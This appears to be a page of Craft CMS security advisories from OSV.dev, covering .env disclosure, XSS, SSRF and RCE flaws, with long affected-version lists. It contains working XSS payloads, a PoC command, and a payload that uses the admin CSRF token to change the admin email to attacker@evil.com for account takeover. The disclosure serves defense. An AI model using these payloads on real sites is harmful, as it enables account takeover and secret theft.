CVE-2026-55792 GHSA-287w-mxq6-x2cp Jul 06, 2026

Craft CMS: Sensitive File Disclosure / Server-Side File Read

Medium

Network Low Low None

The dataUrl() Twig function is included in Craft’s Twig sandbox allowlist, allowing any control panel user granted the utility:system-messages permission to embed a file-reading payload into system email templates. When those emails are sent, the server reads the target file and returns its contents as a base64-encoded data URL embedded in the email body. The .env file, which typically contains the database password, CRAFT_SECURITY_KEY, and third-party API keys, passes all of Craft’s existing dataUrl() protection checks and is fully exfiltrated. Obtaining CRAFT_SECURITY_KEY enables an attacker to forge session tokens and escalate to full admin account takeover.

Details

Affected versions: Craft CMS 4.x, 5.x (confirmed against 5.9.19)

The vulnerability arises from the combination of three code facts:

dataUrl is in the Twig sandbox allowlist src/config/twig-sandbox.php, line 115: php'allowedFunctions' => [ ... 'dataUrl', // ← allows file reading inside sandboxed templates ... ],
Html::dataUrl() does not block dotfiles src/helpers/Html.php, lines 1065–1090. The function applies four checks before reading a file:

Must be within the project root .env is at the root Must not be in a system directory (config/, vendor/, storage/, templates/) .env is not Must not be a .php file .env has no extension File must exist .env always exists in a Craft install

There is no check for dotfiles or specifically for .env. All four checks pass silently and file_get_contents() is called, with the result returned as data:text/plain;base64,....

System message body is rendered via renderSandboxedString() src/mail/Mailer.php, lines 181–183: php$subject = $view->renderSandboxedString($systemMessage->subject, $variables); $textBody = $view->renderSandboxedString($systemMessage->body, $variables); $htmlBody = $view->renderSandboxedString($systemMessage->body, $variables, escapeHtml: true);

Any body content saved to a system message is executed inside the Twig sandbox when the email renders. Because dataUrl is in allowedFunctions, the sandbox policy permits its execution without restriction.

Access control: The utility:system-messages permission is a non-admin CP permission grantable to any user group via Settings > Users > Groups. It is not restricted to admins.

Impact

Vulnerability type: Sensitive File Disclosure / Server-Side File Read Who is impacted: Any Craft CMS 4.x or 5.x installation where at least one non-admin control panel user has been granted the utility:system-messages permission, and email sending is configured.

Resources:

https://github.com/craftcms/cms/pull/18559

Affected versions


          4.0.0


          4.0.0-RC1


          4.0.0-RC2


          4.0.0-RC3


          4.0.0.1


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          4.0.5


          4.0.5.1


          4.0.5.2

+ 408 more


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7


            5.0.0


            5.0.0-RC1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.0.6


            5.1.0


            5.1.1


            5.1.10


            5.1.2


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          4.18.0


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55790 GHSA-24x4-j6x9-rfw5 Jul 06, 2026

Craft CMS: DOM XSS via GitHub issue title in CraftSupport widget

High

Network Low None

Summary

An attacker with only a GitHub account can plant a JavaScript payload in a craftcms/cms issue title. When a Craft admin uses the CraftSupport widget’s "Give feedback" screen and types a search term that returns the poisoned issue, the payload executes in the admin’s control panel session.

No control panel account or elevated privileges are required on the attacker’s side.

Preconditions

Attacker has a GitHub account (no control panel access needed).
Victim is an administrator, and you have the CraftSupport widget on the dashboard.
Victim uses the "Give feedback" screen and types a search term that returns the poisoned issue.

Root cause

CraftSupportWidget.js lines 382-392:

$('<a>', {
  href: this.getSearchResultUrl(results[i]),
  target: '_blank',
  html:
    '<span class="status ' +
    this.getSearchResultStatus(results[i]) +
    '"></span>' +
    this.getSearchResultText(results[i]),
})

FeedbackScreen.getSearchResultText (line 669-671) returns result.title verbatim from the GitHub API response. The jQuery html: option sets the element’s innerHTML, so a title containing <img src=x onerror=...> executes immediately on render.

The GitHub API returns issue titles as raw JSON strings with no HTML encoding. The widget makes this request directly from the browser, without a Craft proxy or any sanitization step.

HelpScreen (Stack Exchange) is not affected because the Stack Exchange API HTML-encodes titles before returning them.

Steps to reproduce

Plant (attacker, GitHub account only):

Open https://github.com/craftcms/cms/issues/new.
Set the title to a string combining a plausible search term and the payload, e.g.:

<img src=x onerror=alert(document.domain)> cannot upload files

Submit the issue.

Trigger (victim, Craft admin):

Open the Craft control panel dashboard.
Open the CraftSupport widget, click "Give feedback".
Type cannot upload files in the search box.
alert(document.domain) fires in the admin's session.

Impact

XSS in the admin control panel session. The payload has access to Craft.csrfTokenName and Craft.csrfTokenValue and can send same-origin action requests as the admin without any further interaction.

Mitigating factors

Victim must actively use the "Give feedback" search screen.
Attacker must predict or social-engineer a search term the admin will type, or use a broad term likely to match.
Widget is only available to admins.

Resources

https://github.com/craftcms/cms/commit/6bbb66038a268552180ca5c8eed9f46ea25a4417

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 406 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.16


          5.9.23

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55791 GHSA-c55v-343g-5xff Jun 19, 2026

Craft CMS: Blind SSRF and Arbitrary JavaScript Injection via Host Header Poisoning in actionResourceJs

Critical

Network Low None None

1. Overview

Craft CMS is vulnerable to Server-Side Request Forgery (SSRF) and Arbitrary JavaScript Injection through the /actions/app/resource-js endpoint. By exploiting the default permissive trustedHosts configuration, an attacker can poison the Host or X-Forwarded-Host header to manipulate the application’s $baseUrl. This bypasses the endpoint’s internal URL validation, forcing the backend Guzzle client to fetch a malicious payload from an attacker-controlled server and reflect it to the client with a Content-Type: application/javascript header.

2. Vulnerability Mechanism (Root Cause) The vulnerability manifests when assetManager.cacheSourcePaths is set to false. The attack chain relies on three structural flaws and insecure defaults:

A. Default Proxy Trust (trustedHosts): Craft’s default GeneralConfig::$trustedHosts is set to ['any']. This allows an attacker to bypass front-end web server (Nginx/Apache) strict Host header validations by simply injecting an X-Forwarded-Host header. Yii2 will parse this and globally set $baseUrl to the attacker's domain.
B. Insecure HTTP Client (actionResourceJs): In AppController::actionResourceJs(), the str_starts_with($url, $baseUrl) validation is bypassed because $baseUrl is already poisoned by the attacker. The core then uses Craft::createGuzzleClient()->get($url). Unlike the GraphQL Asset fetcher, this Guzzle instance defaults to ALLOW_REDIRECTS => true.
C. Forced JS Content-Type: The response fetched from the attacker's server is blindly returned to the user via $this->asRaw() with the header Content-Type: application/javascript.

3. Attack Scenario & Impact (Proof of Exploitability) This endpoint acts as a proxy, taking remote, unverified content and serving it as valid JavaScript. While the direct SSRF allows for internal network probing, the most devastating impact occurs when caching layers are involved.

If the Craft CMS instance is behind a caching layer, this vulnerability leads directly to Web Cache Poisoning:

An unauthenticated attacker sends the poisoned request.
The caching layer caches the malicious JavaScript response for the legitimate /actions/app/resource-js URI.
When an authenticated Administrator logs into the Control Panel, their browser loads the poisoned cached JavaScript (Stored XSS).
The malicious script extracts window.Craft.csrfTokenValue and silently sends a POST request to /admin/actions/plugins/install-plugin, achieving 1-Click Remote Code Execution (RCE) via Session Riding.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 408 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.18


          5.10

References

Updated Jun 19, 2026 · Source: OSV.dev

Apr 29, 2026

5.9.21 patch

6 CVEs

CVE-2026-55794 GHSA-f74w-488g-8x5r Jul 06, 2026

Craft CMS: Potential authenticated Remote Code Execution via referrer redirect

High

Network Low Low None

Requirements:

Control panel access
Permissions to edit an entry

Details

Control panel users with the ability to edit entries can execute unsandboxed Twig code via the HTTP Referrer header.

The issue happens when a user is saving entries. Strings for a signed redirect URL are being compiled as a Twig template via renderObjectTemplate(), and while a sandboxed alternative already exists (renderSandboxedObjectTemplate()), it is not used in this case. This signed URL can be specified by users, as it is reflected in the “Referer” HTTP request header, which is under attacker control.

This has been fixed in Craft 5.10.0. Affected users should update to that version or higher to get the fix.

Resources

https://github.com/craftcms/cms/pull/18680

Affected versions


          5.9.0


          5.9.1


          5.9.10


          5.9.11


          5.9.12


          5.9.13


          5.9.14


          5.9.15


          5.9.16


          5.9.17


          5.9.18


          5.9.19

+ 12 more


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55793 GHSA-xrqc-p465-2xvg Jul 06, 2026

Craft CMS: Stored XSS via Structure entry title in table view

Medium

Network Low Low

Stored XSS via Structure entry title in table view

Summary

An Author-level control panel user can store a JavaScript payload in an entry title. When an admin, or any control panel user with saveEntries for the same Structure section, drags another entry under the poisoned entry in table view, the payload executes in the victim’s session.

The issue is exploitable because the title is escaped into data-title by the server, decoded again by the browser, read with jQuery .data('title'), and then concatenated into a new HTML string without attribute escaping.

Execution was verified with alert(document.domain). Impact was verified against an elevated admin session by changing the admin user’s email through users/save-user, then using the password-reset flow to take over the account.

Preconditions

Attacker has createEntries + saveEntries on a Structure-type section (Author-style CP account; no admin permission required).
Victim has saveEntries on the same section. Craft only renders drag handles when structureEditable is true, which requires this permission, so any admin qualifies.
Section must be type Structure. Channel and Single sections are unaffected.
Poisoned entry must have no children at the time of the drag (fires on the 0-to-1 descendant transition).
For the email-change account-takeover path, the victim must currently have an elevated session. The stored XSS itself does not require elevation.

Root cause

ElementTableSorter.js lines 643-652:

const ancestorTitle = this._updateAncestors._$ancestor.data('title');
$(
  '<button … aria-label="' +
    Craft.t('app', 'Show {title} children', {title: ancestorTitle}) +
  '"></button>'
).insertAfter(…);

Craft.t with a {title} token calls _parseToken, reaches case 'none': return arg (Craft.js:193-194), and returns the title verbatim. The result is handed to jQuery's $() and parsed as HTML.

The server-side template correctly encodes the entry title into data-title, but the browser decodes that attribute before jQuery returns it from .data('title'). At that point the value is attacker-controlled HTML, and it is inserted into the aria-label attribute without Craft.escapeHtml().

Steps to reproduce

Plant (attacker - Author account):

python3 poc.py --url http://target --cp admin \
  --user author@example.com --pass secret --section mySection

Trigger (victim - any control panel user with saveEntries, e.g. admin):

Open the section index in Table view.
Drag the "Drag me" entry and drop it as the first child of the poisoned entry.

alert(document.domain) fires in the victim’s session.

Impact payload tested in an elevated admin session (249 chars, within the 255-char title limit):

"><img src=x onerror="fetch(Craft.actionUrl+'users/save-user',{method:'POST',body:Craft.csrfTokenName+'='+encodeURIComponent(Craft.csrfTokenValue)+'&userId=1&email=attacker%40evil.com',headers:{'Content-Type':'application/x-www-form-urlencoded'}})">

When triggered during an elevated admin session, the admin’s email is changed to the attacker-controlled address. The attacker can then request a password reset and receive the reset link.

Impact

Stored XSS in the control panel from an Author-level account. The payload runs as the victim control panel user and can use Craft.csrfTokenName / Craft.csrfTokenValue to send same-origin action requests as that user.

In my test environment, triggering the payload in an elevated admin session allowed Author-to-admin account takeover via admin email change and password reset.

Mitigating factors

Requires an existing control panel account (Author role minimum).
Victim must perform a drag operation, not just visit the page.
The demonstrated email-change takeover requires the victim’s session to be elevated at trigger time.

Resources

https://github.com/craftcms/cms/commit/162321e899cc97517fb6f5a02b5528f549d0c6cc

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 159 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


